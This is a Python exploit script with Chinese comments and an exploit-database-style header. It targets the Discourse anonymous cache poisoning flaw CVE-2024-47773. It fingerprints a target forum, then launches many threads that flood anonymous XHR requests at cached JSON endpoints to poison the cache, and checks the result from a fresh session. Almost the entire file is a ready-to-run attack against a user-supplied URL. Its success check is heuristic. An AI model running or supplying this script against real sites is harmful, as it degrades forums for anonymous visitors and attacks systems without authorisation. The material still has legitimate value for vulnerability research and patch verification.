1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
|
#!/usr/bin/env python3
"""
漏洞标题：Discourse 3.2.x - 匿名缓存投毒
日期：2024-10-15
漏洞作者：ibrahimsql
Github：https://github.com/ibrahmsql
厂商主页：https://discourse.org
软件链接：https://github.com/discourse/discourse
版本：Discourse < 最新版本（已修复）
测试环境：Discourse 3.1.x, 3.2.x
CVE：CVE-2024-47773
CVSS：7.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L)
描述：
Discourse匿名缓存投毒漏洞允许攻击者通过多个XHR请求使用无预加载数据的响应污染缓存。
这仅影响网站的匿名访问者。
参考：
https://nvd.nist.gov/vuln/detail/CVE-2024-47773
"""
import requests
import sys
import argparse
import time
import threading
import json
from urllib.parse import urljoin
class DiscourseCachePoisoning:
def __init__(self, target_url, threads=10, timeout=10):
self.target_url = target_url.rstrip('/')
self.threads = threads
self.timeout = timeout
self.session = requests.Session()
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'X-Requested-With': 'XMLHttpRequest'
})
self.poisoned = False
def check_target(self):
"""检查目标是否可访问且运行Discourse"""
try:
response = self.session.get(f"{self.target_url}/", timeout=self.timeout)
if response.status_code == 200:
if 'discourse' in response.text.lower() or 'data-discourse-setup' in response.text:
return True
except Exception as e:
print(f"[-] 检查目标时出错: {e}")
return False
def check_anonymous_cache(self):
"""检查匿名缓存是否启用"""
try:
# 测试应该为匿名用户缓存的端点
response = self.session.get(f"{self.target_url}/categories.json", timeout=self.timeout)
# 检查缓存头
cache_headers = ['cache-control', 'etag', 'last-modified']
has_cache = any(header in response.headers for header in cache_headers)
if has_cache:
print("[+] 匿名缓存似乎已启用")
return True
else:
print("[-] 匿名缓存可能已禁用")
return False
except Exception as e:
print(f"[-] 检查缓存时出错: {e}")
return False
def poison_cache_worker(self, endpoint):
"""缓存投毒尝试的工作函数"""
try:
# 创建无cookie的会话以模拟匿名用户
anon_session = requests.Session()
anon_session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'X-Requested-With': 'XMLHttpRequest'
})
# 快速发送请求以污染缓存
for i in range(50):
response = anon_session.get(
f"{self.target_url}{endpoint}",
timeout=self.timeout
)
# 检查响应是否缺少预加载数据
if response.status_code == 200:
try:
data = response.json()
# 检查缺少预加载数据的指标
if self.is_poisoned_response(data):
print(f"[+] 在 {endpoint} 上成功实现缓存投毒")
self.poisoned = True
return True
except:
pass
time.sleep(0.1)
except Exception as e:
pass
return False
def is_poisoned_response(self, data):
"""检查响应是否表明成功缓存投毒"""
# 查找缺少预加载数据的指标
indicators = [
# 缺少或空的预加载数据
not data.get('preloaded', True),
data.get('preloaded') == {},
# 缺少预期字段
'categories' in data and not data['categories'],
'topics' in data and not data['topics'],
# 错误指标
data.get('error') is not None,
data.get('errors') is not None
]
return any(indicators)
def test_cache_poisoning(self):
"""在多个端点上测试缓存投毒"""
print("[*] 测试缓存投毒漏洞...")
# 通常被缓存的目标端点
endpoints = [
'/categories.json',
'/latest.json',
'/top.json',
'/c/general.json',
'/site.json',
'/site/basic-info.json'
]
threads = []
for endpoint in endpoints:
print(f"[*] 测试端点: {endpoint}")
# 创建多个线程来污染缓存
for i in range(self.threads):
thread = threading.Thread(
target=self.poison_cache_worker,
args=(endpoint,)
)
threads.append(thread)
thread.start()
# 等待线程完成
for thread in threads:
thread.join(timeout=5)
if self.poisoned:
break
time.sleep(1)
return self.poisoned
def verify_poisoning(self):
"""验证缓存投毒是否成功"""
print("[*] 验证缓存投毒...")
# 使用新的匿名会话进行测试
verify_session = requests.Session()
verify_session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
})
try:
response = verify_session.get(f"{self.target_url}/categories.json", timeout=self.timeout)
if response.status_code == 200:
try:
data = response.json()
if self.is_poisoned_response(data):
print("[+] 缓存投毒已验证 - 匿名用户受影响")
return True
else:
print("[-] 缓存投毒未验证")
except:
print("[-] 无法解析响应")
else:
print(f"[-] 意外的响应代码: {response.status_code}")
except Exception as e:
print(f"[-] 验证投毒时出错: {e}")
return False
def exploit(self):
"""主利用函数"""
print(f"[*] 测试Discourse缓存投毒 (CVE-2024-47773)")
print(f"[*] 目标: {self.target_url}")
if not self.check_target():
print("[-] 目标不可访问或未运行Discourse")
return False
print("[+] 目标确认为Discourse实例")
if not self.check_anonymous_cache():
print("[-] 匿名缓存可能已禁用 (DISCOURSE_DISABLE_ANON_CACHE设置)")
print("[*] 继续尝试利用...")
success = self.test_cache_poisoning()
if success:
print("[+] 缓存投毒攻击成功!")
self.verify_poisoning()
print("\n[!] 影响: 匿名访问者可能收到无预加载数据的响应")
print("[!] 建议: 升级Discourse或设置DISCOURSE_DISABLE_ANON_CACHE")
return True
else:
print("[-] 缓存投毒攻击失败")
print("[*] 目标可能已修复或缓存已禁用")
return False
def main():
parser = argparse.ArgumentParser(description='Discourse匿名缓存投毒 (CVE-2024-47773)')
parser.add_argument('-u', '--url', required=True, help='目标Discourse URL')
parser.add_argument('-t', '--threads', type=int, default=10, help='线程数 (默认: 10)')
parser.add_argument('--timeout', type=int, default=10, help='请求超时 (默认: 10)')
args = parser.parse_args()
exploit = DiscourseCachePoisoning(args.url, args.threads, args.timeout)
try:
success = exploit.exploit()
sys.exit(0 if success else 1)
except KeyboardInterrupt:
print("\n[-] 利用被用户中断")
sys.exit(1)
except Exception as e:
print(f"[-] 利用失败: {e}")
sys.exit(1)
if __name__ == '__main__':
main()
|